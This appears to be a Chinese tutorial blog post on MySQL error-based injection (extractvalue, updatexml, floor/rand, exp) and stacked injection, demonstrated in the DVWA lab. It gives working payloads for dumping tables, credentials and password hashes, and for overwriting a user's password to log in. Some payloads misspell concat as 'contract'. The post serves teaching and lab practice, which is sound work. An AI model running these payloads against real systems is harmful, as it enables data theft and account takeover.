热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

简学SQL注入(报错注入与堆叠注入)

简学SQL注入0x09SQL注入之报错注入0x09.1报错注入的原理0x09.2报错注入常见的函数0x10SQL注入之堆叠注入0x10.1堆叠注入与UNION联合注入的区别0x10

简学SQL注入

    • 0x09 SQL注入之报错注入
      • 0x09.1 报错注入的原理
      • 0x09.2 报错注入常见的函数
    • 0x10 SQL注入之堆叠注入
      • 0x10.1 堆叠注入与 UNION 联合注入的区别
      • 0x10.2 堆叠注入的使用




0x09 SQL注入之报错注入


  • 一种 SQL 注入的类型,用于 SQL 语句报错的语法,用于注入无回显,但会提示报错信息的情况。返回的错误信息,即攻击者需要的信息。


0x09.1 报错注入的原理


  • MySQL 报错注入主要利用了 MySQL 的一些逻辑漏洞,如 BigInt 大整型数溢出、不同函数调用漏洞等,因此根据逻辑特点,可以将报错注入分为以下几点:
    • BigInt 等数据类型溢出;
    • Xpath语法错误;
    • count() + rand()*2 + group_by() 重复计数,导致临时表插入主键重复造成报错;
    • 空间数据类型函数错误;

0x09.2 报错注入常见的函数


  • 会导致 MySQL 报错并显示出数据函数:
    • rand() 函数&#xff1a;rand(N) 返回随机浮点数 a&#xff0c;范围是 0 <&#61; a <1.0&#xff1b;
    • count() 函数&#xff1a;count(x) 返回 x 数据集的数量&#xff1b;
    • floor() 函数&#xff1a;floor(x) 会返回一个不大于 x 的整数&#xff1b;
      • 由 floor() &#43; rand() &#43; group by 导致的主键冲突报错&#xff1a;

        select count(*),concat((select user()),floor(rand(0)*2)) x from users group by x

      • 这个注入主要是利用 concat() 函数将 注入语句与 floor(rand(0)*2) 拼接起来&#xff0c;将想要查询的结果与报错内容一并你回显给攻击者&#xff0c;从而达到报错注入的目的。
        在这里插入图片描述
      • 如果想要深入理解为什么 floor(rand(0)*2) 与 group by 结合会产生主键冲突报错&#xff0c;这里我引用之前看到的一篇文章很详细的解释了原因&#xff1a;Mysql报错注入之floor(rand(0)*2)报错原理探究.
    • extractvalue() 函数&#xff1a;使用 XPath 表示发从 xml 文档中获取指定元素。(最多32个字符)&#xff1b;
      • extractvalue(xml_flag,xpath_expr) 函数会接受两个参数&#xff0c;X_flag 表示在 xml 中的节点片段&#xff0c;xpath_expr 表示 Xpath 格式的查找路径。如果第二个参数不符合 Xpath 的语法规则&#xff0c;会引起数据库报错。这也是我们在注入是利用的点。
      • payload&#xff1a;

        &#61;id?&#39; and extractvalue(1,concat(0x7e,(select &#64;&#64;version))) -- &#39;

      • 这条命令&#xff0c;通过在 id 后面添加单引号(&#39;) 闭合参数&#xff0c;然后拼接 extractvalue 函数执行 注入语句。在函数中使用 concat() 是因为我们查询的结果会被 extractvalue 截断一部分字符&#xff0c;如下&#xff1a;
        在这里插入图片描述
      • 因此我们需要利用 concat 函数去拼接一个 extractvalue 无法处理的字符&#xff0c;从而使我们获取到的信息完整。
        在这里插入图片描述
      • 下面是在 DVWA 中测试的结果&#xff1a;
        在这里插入图片描述
      • 尝试获取后端数据库&#xff1a;

        ?id&#61;&#39; and extractvalue(1,contract(0x7e,database())) --
        在这里插入图片描述

      • 尝试获取库中的表&#xff1a;

        ?id&#61;&#39; and extractvalue(1,contract(0x7e,(select table_name from information_schema.tables where table_schema&#61;database() limit 1,1))) --
        在这里插入图片描述

      • 尝试获取表中的字段名&#xff1a;

        ?id&#61;&#39; and extractvalue(1,contract(0x7e,(select column_name from information_schema.columns where table_name&#61;&#39;users&#39; limit 1,1))) --

        • 通过调整调整limit 参数&#xff0c;获取到 user 字段和 password 字段&#xff0c;查询到的用户名为&#xff1a;gordonb&#xff0c;密码为&#xff1a;abc123
          在这里插入图片描述
          在这里插入图片描述
      • 尝试获取用户和密码&#xff0c;注意变更所需字段&#xff1a;

        ?id&#61;&#39; and extractvalue(1,contract(0x7e,(select user from users limit 1,1))) --
        在这里插入图片描述
        在这里插入图片描述

      • 上图可以看出密码字段的数据是被加密的结果&#xff0c;由于长度限制&#xff0c;可能并未将密文完全取出&#xff0c;因此我们采用 mid() 方法&#xff0c;分段将密码密文取出后手工拼接&#xff0c;随后解密。
        在这里插入图片描述
        在这里插入图片描述
        在这里插入图片描述
    • updatexml() 函数&#xff1a;更新选定 xml 片段的内容&#xff1b;
      • updatexml 函数的利用方式同extractvalue 函数差不多&#xff0c;都是利用参数的语法规则不正确从而触发报错。
      • payload&#xff1a;

        ?id&#61;&#39; and updatexml(1,concat(0x7e,(select &#64;&#64;version)),1) -- &#39;

      • 通过两个 1 触发函数报错&#xff0c;利用 concat 函数将信息完整的拼接出来。
        在这里插入图片描述
    • exp() 函数&#xff1a;返回e的X次方的值&#xff1b;
      • exp函数报错注入&#xff0c;是利用其会产生 DOUBLE型数值溢出报错&#xff0c;返回报错信息&#xff0c;从而进行注入攻击。&#xff08;这个漏洞貌似存在版本限制 <5.6&#xff0c;下面只给出利用方法&#xff09;产生报错是因为通过 ~ 对成功执行的函数取反就会得到最大的无符号BIGINT值&#xff0c;超出 exp() 可接受的范围&#xff0c;造成数值溢出报错。
      • payload&#xff1a;

      ?id&#61;&#39; and exp(~(select * from (select &#64;&#64;version)x) -- &#39;

      • 你可以通过以下代码在本地 Mysql 中进行测试&#xff1a;

      select exp(~(select * from ("获取信息的查询语句")x));


0x10 SQL注入之堆叠注入


  • 堆叠注入即多条 SQL 语句一起执行。在 Mysql 中&#xff0c;主要是命令行&#xff0c;我们通过加 ; 结束一个 SQL 语句后继续构造下一条语句&#xff0c;使多条语句顺序执行&#xff0c;这就是堆叠注入。


0x10.1 堆叠注入与 UNION 联合注入的区别


  • UNION 或 UNION ALL 只能使用在查询上。而堆叠注入的多条语句之间是没有任何联系的&#xff0c;可以执行任意语句。
  • 堆叠注入的使用场景少&#xff0c;很可能收到 API 或者数据库引擎不支持&#xff0c;如果权限不足也无法使用&#xff0c;但威力巨大。
  • 在使用过程中&#xff0c;通常 webapp 只返回一个查询结果&#xff0c;因此&#xff0c;堆叠注入第二个语句所产生的的错误和操作结果我们无法得知。在使用堆叠注入前&#xff0c;我们还需要知道一些数据库相关的信息&#xff0c;如表名&#xff0c;列名等。

0x10.2 堆叠注入的使用


  • 堆叠语句在 Mysql 中的多语句执行情况。
    在这里插入图片描述
  • PHP-Mysql 相关 API
    • mysqli_multi_querymysqli_use_result
    • 看一下示例代码&#xff1a;
      在这里插入图片描述
  • 通过堆叠注入修改用户密码实现用户登录&#xff08;这里的测试环境采用的是 DVWA 的登录功能&#xff09;
    • 通过前面的注入手段可以知道数据库名、表名、字段名等信息&#xff1b;
      在这里插入图片描述
    • 这里如果数据库的密码通过散列加密处理后&#xff0c;我们无法破解的情况下&#xff0c;可以利用堆叠注入直接用自己设置且加密后的密码“123456”替换掉原来的密码密文。
      在这里插入图片描述
    • 替换 user_id &#61; 5 的用户的密码密文
    • ?id&#61;1&#39;; update users set password&#61;&#39;e10adc3949ba59abbe56e057f20f883e&#39; where user_id&#61;5; --
      在这里插入图片描述
    • 尝试使用密码&#xff1a;123456 进行登录
      在这里插入图片描述
    • 登录成功&#xff0c;随后通过刚刚的方式将用户原来的密文替换回去&#xff0c;这样将不会妨碍原用户的正常使用。
    • ?id&#61;1&#39;; update users set password&#61;&#39;5f4dcc3b5aa765d61d8327deb882cf99&#39; where user_id&#61;5; --
      在这里插入图片描述
  • 堆叠注入在实际中的利用频率并不高&#xff0c;但他的危害性也是不可忽视的。

推荐阅读
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • mysql-cluster集群sql节点高可用keepalived的故障处理过程
    本文描述了mysql-cluster集群sql节点高可用keepalived的故障处理过程,包括故障发生时间、故障描述、故障分析等内容。根据keepalived的日志分析,发现bogus VRRP packet received on eth0 !!!等错误信息,进而导致vip地址失效,使得mysql-cluster的api无法访问。针对这个问题,本文提供了相应的解决方案。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • Google在I/O开发者大会详细介绍Android N系统的更新和安全性提升
    Google在2016年的I/O开发者大会上详细介绍了Android N系统的更新和安全性提升。Android N系统在安全方面支持无缝升级更新和修补漏洞,引入了基于文件的数据加密系统和移动版本的Chrome浏览器可以识别恶意网站等新的安全机制。在性能方面,Android N内置了先进的图形处理系统Vulkan,加入了JIT编译器以提高安装效率和减少应用程序的占用空间。此外,Android N还具有自动关闭长时间未使用的后台应用程序来释放系统资源的机制。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文介绍了使用cacti监控mssql 2005运行资源情况的操作步骤,包括安装必要的工具和驱动,测试mssql的连接,配置监控脚本等。通过php连接mssql来获取SQL 2005性能计算器的值,实现对mssql的监控。详细的操作步骤和代码请参考附件。 ... [详细]
  • VScode格式化文档换行或不换行的设置方法
    本文介绍了在VScode中设置格式化文档换行或不换行的方法,包括使用插件和修改settings.json文件的内容。详细步骤为:找到settings.json文件,将其中的代码替换为指定的代码。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • ZSI.generate.Wsdl2PythonError: unsupported local simpleType restriction ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • flowable工作流 流程变量_信也科技工作流平台的技术实践
    1背景随着公司业务发展及内部业务流程诉求的增长,目前信息化系统不能够很好满足期望,主要体现如下:目前OA流程引擎无法满足企业特定业务流程需求,且移动端体 ... [详细]
  • Android开发实现的计时器功能示例
    本文分享了Android开发实现的计时器功能示例,包括效果图、布局和按钮的使用。通过使用Chronometer控件,可以实现计时器功能。该示例适用于Android平台,供开发者参考。 ... [详细]
author-avatar
温艺海
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有